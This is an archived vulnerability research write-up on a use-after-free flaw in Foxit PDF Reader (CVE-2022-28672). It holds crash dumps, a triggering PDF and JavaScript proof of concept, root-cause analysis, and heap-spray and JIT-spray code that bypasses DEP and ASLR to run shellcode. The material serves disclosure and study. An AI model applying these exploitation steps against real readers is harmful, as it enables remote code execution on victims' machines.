CVE-2022-28672 _ Foxit PDF Reader UAF RCE

CVE-2022-28672 _ Foxit PDF Reader UAF RCE

📅 [ Archival Date ]
Dec 18, 2022 10:46 PM
🏷️ [ Tags ]
✍️ [ Author ]
Krishnakant Patil, Ashfaq Ansari
💣 [ PoC / Exploit ]


In the first part of the PDF Reader series, we shared details about an exploitable bug that we found in Adobe Acrobat Reader. This bug, which was an Out of Bounds Read caused by treating ANSI strings as Unicode, allowed us to leak sensitive information from the sandboxed Adobe Reader process.

In the second part of the series, we will be discussing another vulnerability that we discovered while assessing the security of popular PDF readers. This time, we found a use-after-free vulnerability and several other crashes in Foxit PDF Reader during fuzz testing.

We were able to successfully exploit this vulnerability to gain Remote Code Execution in the context of Foxit PDF Reader.

Zero Day Initiative (ZDI) purchased this exploit, despite it being a bug collision.



Crash State

(cbc.1a9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000002 ebx=1c8bef98 ecx=1c8bef98 edx=00000000 esi=24984fa8 edi=104f8fd0
eip=015a4610 esp=0779a720 ebp=0779a740 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x281670:
015a4610 8b412c          mov     eax,dword ptr [ecx+2Ch] ds:002b:1c8befc4=????????

A quick verification using the !heap command reveals that this is a use-after-free vulnerability.

0:000> !ext.heap -p -a @ecx
    address 26786f98 found in
    _DPH_HEAP_ROOT @ b9d1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   267f0138:         26786000             2000
    6fbdab02 verifier!AVrfDebugPageHeapFree+0x000000c2
    76fbf766 ntdll!RtlDebugFreeHeap+0x0000003e
    76f768ae ntdll!RtlpFreeHeap+0x0004e0ce
    76f662ed ntdll!RtlpFreeHeapInternal+0x00000783
    76f28786 ntdll!RtlFreeHeap+0x00000046
    045e8fbb FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x004e7e4b
    045c4f4f FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x004c3ddf
    044d2b93 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x003d1a23
    01c3a919 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00287979
    01c2de7b FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0027aedb
    01c2d0e6 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0027a146
    01c2c786 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002797e6
    01f40448 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0058d4a8

Proof of Concept

The test case includes static form fields in PDF and javascript action to manipulate them, causing a crash.

Static PDF fields

5 0 obj
/Type /Annot
/Subtype /Widget
/T (field_10)
/FT /Ch
/Rect [844 625 413 191]
/Opt [(FK2V7)]
/I [0 1]
/Ff 67379206

6 0 obj
/Type /Annot
/Subtype /Widget
/T (field_12)
/FT /Ch
/Rect [553 60 781 220]
/TI 990
/I [0 1]
/Ff 1743797713

7 0 obj
/Type /Annot
/Subtype /Widget
/T (field_15)
/FT /Tx
/Rect [695 237 690 797]
/TM (86P4A4SWL7)
/MaxLen 1002
/Ff 45059

Faulting Javascript

var f0 = this.getField("field_15");
var f1 = this.getField("field_12");

f1.setAction("Format", "callback7()"); 

function callback0()
    f1.setItems([1]);  // invokes callback7 which frees block of memory
                       // stale memory access when callback0 ends
function callback7()
    this.deletePages(0);  // frees block of memory

f0.setAction("Calculate", "callback0()");
this.closeDoc(true);  // invokes callback0

Root Cause Analysis

The code crashes when trying to access an object using this pointer.

int __thiscall sub_1734610(_DWORD *this)
  int v1; // eax
  bool v2; // cl

  v1 = this[11];  // CRASH while deferencing this pointer
  v2 = 0;
  if ( v1 )
    v2 = *(_DWORD *)v1 != 0;
  if ( v2 && v1 )
    return *(_DWORD *)v1;
   return 0

Stack trace analysis reveals that the sub_1729070 function allocates a Widget related object of size 0x64 when the setFocus method is called on this.getField("field_10").setFocus() in the javascript.

This allocation occurs when the sub_1729070 function is called, which returns different-sized objects based on a type check. In this case, the switch case condition 5 is satisfied, resulting in an object of size 0x64 being returned.

int __thiscall sub_1729070(_DWORD *this, int a2, char a3)
    // ...
    // {
      if ( a3 )
        switch ( sub_1A2DB10(a2) )
          case 1:
            LOBYTE(v24) = 3;
            v25 = operator new(0x34u);
            LOBYTE(v24) = 4;
            if ( v25 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_173BDC0(v21[5], a2);
              v4 = 0;
            v22 = v4;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
          case 2:
            LOBYTE(v24) = 5;
            v26 = operator new(0x34u);
            LOBYTE(v24) = 6;
            if ( v26 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_1736D60(v21[5], a2);
              v4 = 0;
            v22 = v4;
            v21 = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
          case 3:
            LOBYTE(v24) = 7;
            v27 = operator new(0x34u);
            LOBYTE(v24) = 8;
            if ( v27 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_173CF80(v21[5], a2);
              v4 = 0;
            v22 = v4;
            v17[5] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
          case 4:
            LOBYTE(v24) = 13;
            v30 = operator new(0x54u);
            LOBYTE(v24) = 14;
            if ( v30 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_1738240(v21[5], a2);
              v4 = 0;
            v22 = v4;
            v17[2] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
          case 5:
            LOBYTE(v24) = 11;
            v29 = operator new(0x64u);
            LOBYTE(v24) = 12;
            if ( v29 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_173A6E0(v21[5], a2);
              v4 = 0;
            v22 = v4;
            v17[3] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
          case 6:
            LOBYTE(v24) = 9;
            v28 = operator new(0x6Cu);
            LOBYTE(v24) = 10;
            if ( v28 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_172E660(v21[5], a2);
              v4 = 0;
            v22 = v4;
            v17[4] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            v4 = 0;
            v7 = 0;
            v22 = 0;
      // ...
  return v7;

This can be verified by using a debugger.

0:000> !ext.heap -p -a @eax
    address 256caf98 found in
    _DPH_HEAP_ROOT @ c911000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                25343444:         256caf98               64 -         256ca000             2000
    6feda8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7723ef0e ntdll!RtlDebugAllocateHeap+0x00000039
    771a6150 ntdll!RtlpAllocateHeap+0x000000f0
    771a57fe ntdll!RtlpAllocateHeapInternal+0x000003ee
    771a53fe ntdll!RtlAllocateHeap+0x0000003e
    04608ccc FoxitPDFReader!_malloc_base+0x00000038
    043015ec FoxitPDFReader!void * __cdecl operator new(unsigned int)+0x0000002a
    01c492d1 FoxitPDFReader!sub_1729070+0x00000261
    01c4cb21 FoxitPDFReader!sub_172C7B0+0x00000371
    01f60781 FoxitPDFReader!sub_1A406B0+0x000000d1
    0118ac87 FoxitPDFReader!sub_C6A710+0x00000577

The closeDoc function invokes the calculate handler on field_15. Inside the calculate callback, we set the items property of the choice list field f1, which has a registered format callback. Setting the items property invokes its format callback, which deletes the 0th page and potentially deletes the target object.

When the document is closed, the sub_172B3A0 function is called.

char __thiscall sub_172B3A0(_DWORD *this, _DWORD *a2)
  v2 = this;
  v35 = this;
  v39 = 0;
  // sub_1729070 returns target object which was already created during setFocus
  v4 = sub_1729070(v2, (int)a2, 0);
  if ( v4 )
    // indirect call which also triggers format callback
    if ( !(*(unsigned __int8 (__thiscall **)(int, _DWORD *))(*(_DWORD *)v4 + 80))(v4, a2) )
      sub_112B090(&v35, &v37);
      if ( v35 != (_DWORD *)v2[9] )
        sub_112AFB0(v31, v35);
      v15 = 0;
      // ...
    // ...
  // ...

The sub_1729070 function returns the target object, which was previously created during the setFocus call. This object is then passed to the indirect call (*(unsigned __int8 (__thiscall **)(int, _DWORD ))((_DWORD *)v4 + 80))(v4, a2).

This code path then invokes the format callback registered on field_12. Within the format callback, the target object is freed when this.deletePages function is called.

The sub_173A900 function is responsible for freeing the target object of size 0x64, which is later accessed by sub_1734610 causing the program to crash.

.text:0173A900 ; void *__thiscall sub_173A900(void *this, char)
.text:0173A900 sub_173A900     proc near               ; CODE XREF: sub_173A8EA+3↑j
.text:0173A900                                         ; DATA XREF: .rdata:off_48159CC↓o
.text:0173A900 arg_0           = byte ptr  8
.text:0173A900                 push    ebp
.text:0173A901                 mov     ebp, esp
.text:0173A903                 push    esi
.text:0173A904                 mov     esi, ecx
.text:0173A906                 call    sub_173A7E0
.text:0173A90B                 test    [ebp+arg_0], 1
.text:0173A90F                 jz      short loc_173A91C
.text:0173A911                 push    64h ; 'd'                                        ;; size
.text:0173A913                 push    esi                                              ;; ESI - target block
.text:0173A914                 call    sub_3FD2B88                                      ;; memory free call wrapper
.text:0173A919                 add     esp, 8
.text:0173A91C loc_173A91C:                            ; CODE XREF: sub_173A900+F↑j
.text:0173A91C                 mov     eax, esi
.text:0173A91E                 pop     esi
.text:0173A91F                 pop     ebp
.text:0173A920                 retn    4
.text:0173A920 sub_173A900     endp


If we can control and reallocate the same size allocation, we may be able to gain direct control over code execution using the call instruction inside sub_172ADA0. This is shown below:

eax=41414141 ebx=0e847e88 ecx=0e8c7960 edx=00000000 esi=0e8c7960 edi=00000002
eip=01c2ade1 esp=080fa8dc ebp=080fa910 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x277e41:
01c2ade1 ff5074          call    dword ptr [eax+74h]  ds:002b:414141b5=????????

The following script can be used to groom the heap to crash the Foxit Reader process at a controlled location. During testing, it was discovered that support for ArrayBuffer was disabled in Foxit Reader. This is likely done as a preventative measure to prevent exploitation using common javascript exploit primitives such as heap spraying and out-of-bound read/write. However, it was found that SharedArrayBuffer was not disabled and could be used for the same purpose.

In the sprayed memory blocks, the eax register points to the start of the memory buffer, and an indirect call at an offset of 0x74 indicates that it is a C++ object inside Foxit where a virtual method is being invoked. This can be used to execute arbitrary code in the context of the Foxit process.

// spray memory allocations
function reclaim(size, count){
    for (var i = 0; i < count; i++) {
        sprayArr[i] = new SharedArrayBuffer(size);
        var rop = new DataView(sprayArr[i]);

        // control value for - call dword ptr [eax+74h]
        // first dword is pointer to the shellcode
        rop.setUint32(0, 0x41414141);

        for (var j = 4; j < rop.byteLength/4; j+=4) {
            rop.setUint32(j, 0x42424242);

function callback0()
    // trigger formatCallback on field 1

    // above call should free block of memory
    // we reclaim freed memory by heap spraying of fixed allocations
    reclaim(0x58, 0x1000);
    reclaim(0x68, 0x1000);

By carefully controlling the heap spraying process using the provided script, it is possible to crash Foxit Reader at a specific location when a virtual method is invoked. This allows the attacker to control the state of the object and potentially execute arbitrary code in the context of the Foxit process.

Bypassing Mitigations

Data Execution Prevention (DEP)

One way to bypass DEP and execute user-controlled code in memory is to use return-oriented programming (ROP). This involves chaining together short sequences of code, called gadgets, that are already present in the program's memory. By carefully selecting gadgets and arranging them in a specific order, it is possible to execute arbitrary code without needing to directly call the sprayed shellcode. This can be difficult to achieve, but there are tools and resources available to help with the process.

Our bug is user-after-free of an object on the heap which allows us to call arbitrary addresses in memory using a virtual function call. Although heap spraying with user-controlled data is possible, the heap memory does not have execute permissions. Hence, we cannot call shellcode sprayed using heap-spraying.

To bypass DEP, we need to have an arbitrary read/write primitive and ROP chain to create an executable memory range which we don't have.

Control Flow Guard (CFG)

Control Flow Guard (CFG) is a mitigation technique that is designed to prevent attackers from calling arbitrary call sites. CFG is used to protect indirect calls and is present in most modern software. However, in the case of Foxit, the software was not compiled with CFG support, which means that attackers can call any memory address within the Foxit address space. This lack of CFG support makes Foxit vulnerable to exploitation by attackers.

Address Space Layout Randomization (ASLR)

Foxit PDF Reader has Address Space Layout Randomization (ASLR) enabled, which means that we cannot use any hardcoded addresses in the exploit to call the shellcode. To bypass ASLR, we need some kind of heap-leaking primitive (info-leak), but we do not have one available.

JIT Spraying to rescue! Bypassing DEP, ASLR at once.

JIT spraying is a technique that can be used to bypass both Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) at the same time. Foxit, a popular PDF viewer, ships with the Google V8 javascript engine as a backend for processing javascript within PDF files. Testing revealed that Foxit is vulnerable to JIT spraying.

JIT, or Just In Time Compilation, is commonly used within javascript engines to improve performance by converting javascript bytecode into native architecture-specific code. To do this, the JIT compiler must create a memory with read-write-execute permissions to store the compiled code. There are various ways to invoke the JIT compiler within a script engine.

rh0dev has done excellent research on JIT spraying, particularly on the use of the asm.js feature of javascript for JIT spraying. This technique allows the attacker to spray encoded shellcode using asm.js, enabling them to bypass DEP and ASLR protections.

  1. The Return of the JIT
  2. Github Repository

After several attempts, we were able to create a JIT spray for v8 inside Foxit.

0:000> !address -f:PAGE_EXECUTE_READWRITE

Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

  BaseAddr EndAddr+1 RgnSize     Type       State                 Protect             Usage
   c0000    c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  140000   145000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  1c0000   1c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  200000   205000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  280000   285000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  2c0000   2c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  300000   305000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18c40000 18c45000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18c50000 18c55000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18c60000 18c65000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18c70000 18c75000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18c80000 18c85000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18c90000 18c95000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18ca0000 18ca5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18cb0000 18cb5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18cc0000 18cc5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18cd0000 18cd5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
3fec0000 3fec5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
3ff00000 3ff05000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]

We can confirm the shellcode spraying by looking at the base of any allocation above it.

0:000> u 18ca0000
18ca0000 e97b470000      jmp     18ca4780
18ca0005 e956470000      jmp     18ca4760
18ca000a cc              int     3
18ca000b cc              int     3
18ca000c cc              int     3

The first jump is to the generated code at 18ca4780, which in our case contains our encoded shellcode.

18ca4780 55           push    ebp
18ca4781 89e5         mov     ebp, esp
18ca4783 6a0a         push    0Ah
18ca4785 56           push    esi
18ca4786 8b7e17       mov     edi, dword ptr [esi+17h]
18ca4789 3927         cmp     dword ptr [edi], esp
18ca478b 0f83e5010000 jae     18ca4976
18ca4791 8b7e1b       mov     edi, dword ptr [esi+1Bh]
18ca4794 8b7f07       mov     edi, dword ptr [edi+7]
18ca4797 8b461f       mov     eax, dword ptr [esi+1Fh]
18ca479a 8b00         mov     eax, dword ptr [eax]
18ca479c 68a247b419   push    19B447A2h
18ca47a1 68909090a8   push    0A8909090h
18ca47a6 6831c990a8   push    0A890C931h
18ca47ab 686a3058a8   push    0A858306Ah
18ca47b0 68648b00a8   push    0A8008B64h
18ca47b5 688b400ca8   push    0A80C408Bh
18ca47ba 688b7014a8   push    0A814708Bh

The JIT spraying script has been stripped for readability. The full source can be found in the exploit on GitHub.

// spray calc.exe WinExec + ExitProcess shellcode
// VirtualAlloc of size 0x5000 
function sprayJITShellcode(asmJsModuleName, payloadFuncName, ffiFuncName)
    var script = `
        function ${asmJsModuleName} (stdlib, ffi, heap){
            'use asm';
            var ffi_func = ffi.func;

            function ${payloadFuncName} () {
                var val = 0;
                val = ffi_func(
                    0x19b447a2|0,   //using predicated 19b40000 base
                return val|0;
            return ${payloadFuncName};

        function ${ffiFuncName} () {
            var x = 0;
            return x|0;
        for (var f=0; f<0x10; f++) { 
            asmJsModulesArr.push(${asmJsModuleName}(this, { func: ${ffiFuncName} }, 0));
    // required to generate jit code

// spray jit shellcode allocation
// 00005dbc: index to shellcode from the base of the virtualalloc
for (var jitcount=0; jitcount<3000; jitcount++) {
    sprayJITShellcode("foo"+jitcount, "payload"+jitcount, "ffi_func"+jitcount);

In this case, we are using the best-educated guess of 0x19b40000 for the shellcode execution, where one of our JIT sprays is located.

0:025> u 19b40000
19b40000 e97b470000      jmp     19b44780
19b40005 e956470000      jmp     19b44760
19b4000a cc              int     3
19b4000b cc              int     3
19b4000c cc              int     3

In the JIT spray script, a hardcoded address derived from the assumed base address of 0x19b447a2|0, // using predicated 19b40000 base is used as the starting point for the shellcode. This address is referenced by a call instruction, as can be verified using a debugger. This allows us to execute the shellcode at a known location in memory, bypassing DEP and ASLR protections.

0:025> ? 19b44729+74
Evaluate expression: 431245213 = 19b4479d

0:025> dd 19b4479d
19b4479d  19b447a2 90909068 c93168a8 6a68a890
19b447ad  68a85830 a8008b64 0c408b68 708b68a8
19b447bd  ad68a814 68a8ad96 a810588b 3c538b68

The execution of the shellcode must start from 19b447a2. This can be verified in the debugger.

19b447a2 90         nop     
19b447a3 90         nop     
19b447a4 90         nop     
19b447a5 a868       test    al, 68h
19b447a7 31c9       xor     ecx, ecx
19b447a9 90         nop     
19b447aa a868       test    al, 68h
19b447ac 6a30       push    30h
19b447ae 58         pop     eax
19b447af a868       test    al, 68h
19b447b1 648b00     mov     eax, dword ptr fs:[eax]
19b447b4 a868       test    al, 68h
19b447b6 8b400c     mov     eax, dword ptr [eax+0Ch]
19b447b9 a868       test    al, 68h

By analyzing the decoded shellcode, it is possible to see that it contains a series of valid instructions that carry out the desired actions. This indicates that the JIT spraying technique was successful in allowing us to execute our shellcode in the context of the Foxit process.


In conclusion, this research shows that if Foxit Reader had been compiled with Control Flow Guard (CFG) support, the discovered bug would have been more difficult to exploit. However, the lack of CFG support allowed the attacker to use JIT spraying to bypass existing mitigations such as ASLR and DEP. This highlights the importance of using multiple layers of defense to protect against attacks.

Exploit Repository

Demo Video